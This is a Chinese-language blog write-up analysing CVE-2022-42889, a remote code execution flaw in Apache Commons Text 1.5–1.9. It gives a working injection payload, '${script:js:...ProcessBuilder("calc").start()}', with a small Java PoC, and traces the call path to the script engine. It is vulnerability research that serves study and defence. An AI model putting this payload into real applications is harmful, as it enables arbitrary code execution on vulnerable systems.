CVE-2022-42889 分析与 CodeQL
Drunkbaby Lv6

复现 CVE-2022-42889 Apache Commons Text RCE 的同时,学习一下如何用 CodeQL 挖掘 CVE-2023-22665 的洞

CVE-2022-42889 Apache Commons Text RCE 漏洞分析

0x01 前言

CodeQL 实践

0x02 漏洞相关信息

漏洞描述

Apache Commons Text 执行变量插值 (variable interpolation), 允许动态评估和扩展属性。插值的标准格式是 "${prefix:name}",其中 “prefix” 用于查找定位执行插值 org.apache.commons.text.lookup.StringLookup 的实例。从 1.5 版到 1.9 版,默认的 Lookup 实例集包括可能导致任意代码执行或与远程服务器联系的插值器。

  • 看到这个漏洞描述其实就是 JavaScriptEngine 没得跑了

漏洞影响版本

1.5 <= Apache Commons Text <= 1.9

0x03 漏洞基础

Apache Commons Text

Apache Commons Text 该组件是一款处理字符串和文本块的开源项目,简单来说,除了核心 Java 提供的功能外,Apache Commons 文本库还包含了许多有用的实用程序方法,用于处理字符串。通常在开发过程中用于占位符和动态获取属性的字符串编辑工具包,常用于数据库查询前的语句替换,或者页面输出时的替换。

0x04 环境搭建

pom.xml

1
2
3
4
5
<dependency>  
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.9</version>
</dependency>

0x05 漏洞复现与分析

漏洞复现

按照官方文档的说法,https://commons.apache.org/proper/commons-text/userguide.html

一个简单的 demo 使用应该如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
final String text = interpolator.replace(
"Base64 Decoder: ${base64Decoder:SGVsbG9Xb3JsZCE=}\n" +
"Base64 Encoder: ${base64Encoder:HelloWorld!}\n" +
"Java Constant: ${const:java.awt.event.KeyEvent.VK_ESCAPE}\n" +
"Date: ${date:yyyy-MM-dd}\n" +
"Environment Variable: ${env:USERNAME}\n" +
"File Content: ${file:UTF-8:src/test/resources/document.properties}\n" +
"Java: ${java:version}\n" +
"Localhost: ${localhost:canonical-name}\n" +
"Properties File: ${properties:src/test/resources/document.properties::mykey}\n" +
"Resource Bundle: ${resourceBundle:org.apache.commons.text.example.testResourceBundleLookup:mykey}\n" +
"System Property: ${sys:user.dir}\n" +
"URL Decoder: ${urlDecoder:Hello%20World%21}\n" +
"URL Encoder: ${urlEncoder:Hello World!}\n" +
"XML XPath: ${xml:src/test/resources/document.xml:/root/path/to/node}\n"
);

根据官方文档的说法,这里还支持一些其他关键字,比如 dnsurlscript,对应的类是 ScriptStringLookup,进去看看

其中比较明显地能够看出来该如何构造语句

PoC

1
${script:js:new java.lang.ProcessBuilder("Calc").start()}

结合整体

1
2
3
4
5
6
7
8
9
10
import org.apache.commons.text.StringSubstitutor;  

public class EXP {
public static void main(String[] args) {

StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
String payload = "${script:js:new java.lang.ProcessBuilder(\"calc\").start()}";
interpolator.replace(payload);
}
}

漏洞分析

这里主要是两个点,一为如何到 JavaScript Engine,二则是 Commons Text 如何调用 JavaScript Engine

下断点调试一下,先看看 StringSubstitutor.createInterpolator()

StringSubstitutor  类本质上就是一个字符串替换器,这里调用了对应的构造函数,创建了一些规则。跟进 replace() 方法

往下,跟进 substitute() 方法,最后调用至 org.apache.commons.text.StringSubstitutor#substitute 方法

最终的结果是拿到 varName,也就是去掉首尾的后的内容。往下走,程序调用 resolveVariable() 方法,跟进。

往下到 org.apache.commons.text.lookup.ScriptStringLookup#lookup 方法,在这之前处理了我们的 payload,对 : 前后的内容进行 Split 操作,再进行判断。接着就是 javascript 引擎被实例化了出来。跟进 scriptEngine.eval() 方法

后续就是调用 ScriptEngineManager 命令执行的代码,不再展开。

0x06 利用 CodeQL 挖掘 CVE-2022-42889

 评论